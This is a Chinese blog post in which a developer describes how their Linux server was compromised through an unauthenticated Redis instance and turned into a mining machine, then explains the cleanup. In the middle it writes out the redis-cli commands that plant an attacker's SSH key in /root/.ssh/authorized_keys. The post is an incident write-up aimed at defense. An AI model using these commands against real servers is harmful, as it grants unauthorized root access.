其实这个问题在网上都有说明。然而因为本人是开发出身,运维方面比较欠缺,所以才会遇到此问题,遂记录下来,以此为戒。
被入侵现象
-
服务器多了很多莫名其妙的操作,根据查看操作记录命令history得到。
-
服务器会莫名其妙重启。
-
经常ssh免密登录失效。
-
apt-get使用报错。
报错log如下:
insserv: warning: script 'S01wipefs' missing LSB tags and overrides insserv: warning: script 'S02acpidtd' missing LSB tags and overrides insserv: warning: script 'S99selinux' missing LSB tags and overrides insserv: warning: script 'S02DbSecuritySpt' missing LSB tags and overrides insserv: warning: script 'wipefs' missing LSB tags and overrides insserv: warning: script 'DbSecuritySpt' missing LSB tags and overrides insserv: warning: script 'selinux' missing LSB tags and overrides insserv: warning: script 'acpidtd' missing LSB tags and overrides insserv: There is a loop between service plymouth and mountdevsubfs if started insserv: loop involving service mountdevsubfs at depth 2 insserv: loop involving service udev at depth 1 insserv: Starting selinux depends on plymouth and therefore on system facility `$all' which can not be true! insserv: Starting selinux depends on plymouth and therefore on system facility `$all' which can not be true! insserv: Starting selinux depends on plymouth and therefore on system facility `$all' which can not be true! insserv: Starting selinux depends on plymouth and therefore on system facility `$all' which can not be true! insserv: Starting selinux depends on plymouth and therefore on system facility `$all' which can not be true! insserv: Starting selinux depends on plymouth and therefore on system facility `$all' which can not be true! insserv: Starting selinux depends on plymouth and therefore on system facility `$all' which can not be true! insserv: Starting selinux depends on plymouth and therefore on system facility `$all' which can not be true! insserv: Starting selinux depends on plymouth and therefore on system facility `$all' which can not be true! insserv: Starting selinux depends on plymouth and therefore on system facility `$all' which can not be true!
看起来很正常对不对,毕竟selinux也是常用安全服务。
被入侵原因:Redis漏洞
由于Redis可以直接直接通过IP:port 访问,所以如果不配置密码,会端口大开。在通过redis-cli修改数据持久化路径指定到.ssh/authorized_keys,将自己的ssh公钥持久化到服务器公钥,就可以直接ssh登录服务器进行操作。在https://bbs.ichunqiu.com/thread-17634-1-1.html 一文中有详细说明。大致攻击过程记录如下:
-
将公钥写入一个文本中:
cd ~/.ssh/ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> hack.txt
-
利用redis客户端连接靶机redis:
cat hack.txt | /usr/local/redis-2.8.3/src/./redis-cli -h 192.168.132.134 -x set crack
-
获取并修改redis备份的路径
CONFIG SET dir /root/.ssh CONFIG SET dbfilename authorized_keys
-
获取并修改redis备份的路径
save
至此可以直接ssh免密登录。
补漏洞
其实很简单,在redis的配置文件里加上密码验证即可。这样在redis-cli里不用密码是没有办法进行操作的。
或者可以在配置文件里bind固定地址才可以访问Redis。
杀掉入侵程序
某些内容要感谢https://yq.aliyun.com/ask/57692?spm=5176.8246799.0.0.iwQw3W 和https://www.cnblogs.com/liuchuyu/p/7490338.html 。
- 在解决问题的时候第一步想的是apt-get为什么会因为selinux报错。在服务器上查看到有/etc/init.d/selinux这个文件的。而在我自己的Ubuntu PC上是没有查看到/etc/init.d/selinux的文件的。遂去查看里面内容,发现里面启动了一个进程(划重点):/usr/bin/getty。遂去晚上查找这个进程的用处,果不其然,是木马进程。遂删除之。在网上看到同目录下还有DbSecuritySpt,同样是入侵程序。
- apt-get 的报错还有诸如S01wipefs,S02acpidtd此类的启动项,遂从S01-S06级别的启动项全部删除。并且检查这些进程当前是否有正在运行中的,全部kill。
- 同样,在/usr/bin里的还有伪装成ssh的程序.sshd,全部rm。
- 按照https://www.cnblogs.com/liuchuyu/p/7490338.html 的说法,该入侵是将服务器变成挖矿机器。会添加crontab。遂检查,果然有木马的定时调度项,没有任何犹豫,双击d解决。
此时再apt-get没有任何报错,并且第二天服务器没有任何莫名其妙的history,ssh再也没有问题。
结论:我本不是运维,开发做多了,就成了运维。